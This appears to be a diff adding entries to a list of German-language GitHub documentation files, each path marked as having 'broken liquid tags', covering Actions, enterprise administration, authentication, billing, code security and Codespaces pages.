+translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md,broken liquid tags
+translations/de-DE/content/actions/automating-builds-and-tests/about-continuous-integration.md,broken liquid tags
+translations/de-DE/content/actions/creating-actions/creating-a-composite-action.md,broken liquid tags
+translations/de-DE/content/actions/creating-actions/creating-a-docker-container-action.md,broken liquid tags
+translations/de-DE/content/actions/creating-actions/creating-a-javascript-action.md,broken liquid tags
+translations/de-DE/content/actions/deployment/about-deployments/about-continuous-deployment.md,broken liquid tags
+translations/de-DE/content/actions/deployment/about-deployments/deploying-with-github-actions.md,broken liquid tags
+translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md,broken liquid tags
+translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md,broken liquid tags
+translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md,broken liquid tags
+translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md,broken liquid tags
+translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md,broken liquid tags
+translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md,broken liquid tags
+translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md,broken liquid tags
+translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md,broken liquid tags
+translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md,broken liquid tags
+translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md,broken liquid tags
+translations/de-DE/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md,broken liquid tags
+translations/de-DE/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,broken liquid tags
+translations/de-DE/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md,broken liquid tags
+translations/de-DE/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md,broken liquid tags
+translations/de-DE/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md,broken liquid tags
+translations/de-DE/content/actions/learn-github-actions/environment-variables.md,broken liquid tags
+translations/de-DE/content/actions/learn-github-actions/expressions.md,broken liquid tags
+translations/de-DE/content/actions/learn-github-actions/finding-and-customizing-actions.md,broken liquid tags
+translations/de-DE/content/actions/learn-github-actions/understanding-github-actions.md,broken liquid tags
+translations/de-DE/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md,broken liquid tags
+translations/de-DE/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md,broken liquid tags
+translations/de-DE/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md,broken liquid tags
+translations/de-DE/content/actions/managing-workflow-runs/manually-running-a-workflow.md,broken liquid tags
+translations/de-DE/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md,broken liquid tags
+translations/de-DE/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md,broken liquid tags
+translations/de-DE/content/actions/publishing-packages/publishing-docker-images.md,broken liquid tags
+translations/de-DE/content/actions/publishing-packages/publishing-nodejs-packages.md,broken liquid tags
+translations/de-DE/content/actions/quickstart.md,broken liquid tags
+translations/de-DE/content/actions/using-github-hosted-runners/using-larger-runners.md,broken liquid tags
+translations/de-DE/content/actions/using-workflows/about-workflows.md,broken liquid tags
+translations/de-DE/content/actions/using-workflows/caching-dependencies-to-speed-up-workflows.md,broken liquid tags
+translations/de-DE/content/actions/using-workflows/creating-starter-workflows-for-your-organization.md,broken liquid tags
+translations/de-DE/content/actions/using-workflows/events-that-trigger-workflows.md,broken liquid tags
+translations/de-DE/content/actions/using-workflows/reusing-workflows.md,broken liquid tags
+translations/de-DE/content/actions/using-workflows/sharing-workflows-secrets-and-runners-with-your-organization.md,broken liquid tags
+translations/de-DE/content/actions/using-workflows/storing-workflow-data-as-artifacts.md,broken liquid tags
+translations/de-DE/content/actions/using-workflows/triggering-a-workflow.md,broken liquid tags
+translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md,broken liquid tags
+translations/de-DE/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-github-connect/index.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-tls.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-applications.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,broken liquid tags
+translations/de-DE/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/index.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,broken liquid tags
+translations/de-DE/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md,broken liquid tags
+translations/de-DE/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md,broken liquid tags
+translations/de-DE/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md,broken liquid tags
+translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,broken liquid tags
+translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md,broken liquid tags
+translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/index.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md,broken liquid tags
+translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md,broken liquid tags
+translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md,broken liquid tags
+translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md,broken liquid tags
+translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md,broken liquid tags
+translations/de-DE/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md,broken liquid tags
+translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md,broken liquid tags
+translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md,broken liquid tags
+translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md,broken liquid tags
+translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/overview/about-data-residency.md,broken liquid tags
+translations/de-DE/content/admin/overview/about-github-enterprise-server.md,broken liquid tags
+translations/de-DE/content/admin/overview/system-overview.md,broken liquid tags
+translations/de-DE/content/admin/packages/enabling-github-packages-with-aws.md,broken liquid tags
+translations/de-DE/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md,broken liquid tags
+translations/de-DE/content/admin/packages/enabling-github-packages-with-minio.md,broken liquid tags
+translations/de-DE/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md,broken liquid tags
+translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md,broken liquid tags
+translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md,broken liquid tags
+translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md,broken liquid tags
+translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md,broken liquid tags
+translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md,broken liquid tags
+translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,broken liquid tags
+translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md,broken liquid tags
+translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md,broken liquid tags
+translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,broken liquid tags
+translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md,broken liquid tags
+translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md,broken liquid tags
+translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md,broken liquid tags
+translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md,broken liquid tags
+translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md,broken liquid tags
+translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md,broken liquid tags
+translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md,broken liquid tags
+translations/de-DE/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md,broken liquid tags
+translations/de-DE/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md,broken liquid tags
+translations/de-DE/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md,broken liquid tags
+translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,broken liquid tags
+translations/de-DE/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md,broken liquid tags
+translations/de-DE/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md,broken liquid tags
+translations/de-DE/content/authentication/keeping-your-account-and-data-secure/index.md,broken liquid tags
+translations/de-DE/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md,broken liquid tags
+translations/de-DE/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,broken liquid tags
+translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md,broken liquid tags
+translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md,broken liquid tags
+translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md,broken liquid tags
+translations/de-DE/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md,broken liquid tags
+translations/de-DE/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md,broken liquid tags
+translations/de-DE/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,broken liquid tags
+translations/de-DE/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md,broken liquid tags
+translations/de-DE/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md,broken liquid tags
+translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md,broken liquid tags
+translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md,broken liquid tags
+translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md,broken liquid tags
+translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md,broken liquid tags
+translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md,broken liquid tags
+translations/de-DE/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md,broken liquid tags
+translations/de-DE/content/authentication/troubleshooting-ssh/error-key-already-in-use.md,broken liquid tags
+translations/de-DE/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md,broken liquid tags
+translations/de-DE/content/authentication/troubleshooting-ssh/using-ssh-over-the-https-port.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-github-actions/about-billing-for-github-actions.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-github-codespaces/index.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md,broken liquid tags
+translations/de-DE/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md,broken liquid tags
+translations/de-DE/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md,broken liquid tags
+translations/de-DE/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md,broken liquid tags
+translations/de-DE/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md,broken liquid tags
+translations/de-DE/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md,broken liquid tags
+translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md,broken liquid tags
+translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md,broken liquid tags
+translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,broken liquid tags
+translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md,broken liquid tags
+translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md,broken liquid tags
+translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,broken liquid tags
+translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,broken liquid tags
+translations/de-DE/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md,broken liquid tags
+translations/de-DE/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md,broken liquid tags
+translations/de-DE/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md,broken liquid tags
+translations/de-DE/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md,broken liquid tags
+translations/de-DE/content/code-security/getting-started/github-security-features.md,broken liquid tags
+translations/de-DE/content/code-security/getting-started/securing-your-organization.md,broken liquid tags
+translations/de-DE/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md,broken liquid tags
+translations/de-DE/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md,broken liquid tags
+translations/de-DE/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md,broken liquid tags
+translations/de-DE/content/code-security/security-overview/about-the-security-overview.md,broken liquid tags
+translations/de-DE/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md,broken liquid tags
+translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md,broken liquid tags
+translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md,broken liquid tags
+translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md,broken liquid tags
+translations/de-DE/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/codespaces-reference/security-in-github-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md,broken liquid tags
+translations/de-DE/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md,broken liquid tags
+translations/de-DE/content/codespaces/customizing-your-codespace/renaming-a-codespace.md,broken liquid tags
+translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md,broken liquid tags
+translations/de-DE/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,broken liquid tags
+translations/de-DE/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,broken liquid tags
+translations/de-DE/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md,broken liquid tags
+translations/de-DE/content/codespaces/developing-in-codespaces/getting-started-with-github-codespaces-for-machine-learning.md,broken liquid tags
+translations/de-DE/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md,broken liquid tags
+translations/de-DE/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md,broken liquid tags
+translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md,broken liquid tags
+translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md,broken liquid tags
+translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md,broken liquid tags
+translations/de-DE/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md,broken liquid tags
+translations/de-DE/content/codespaces/getting-started/deep-dive.md,broken liquid tags
+translations/de-DE/content/codespaces/getting-started/quickstart.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/index.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds.md,broken liquid tags
+translations/de-DE/content/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories.md,broken liquid tags
+translations/de-DE/content/codespaces/prebuilding-your-codespaces/configuring-prebuilds.md,broken liquid tags
+translations/de-DE/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md,broken liquid tags
+translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md,broken liquid tags
+translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md,broken liquid tags
+translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md,broken liquid tags
+translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,broken liquid tags
+translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,broken liquid tags
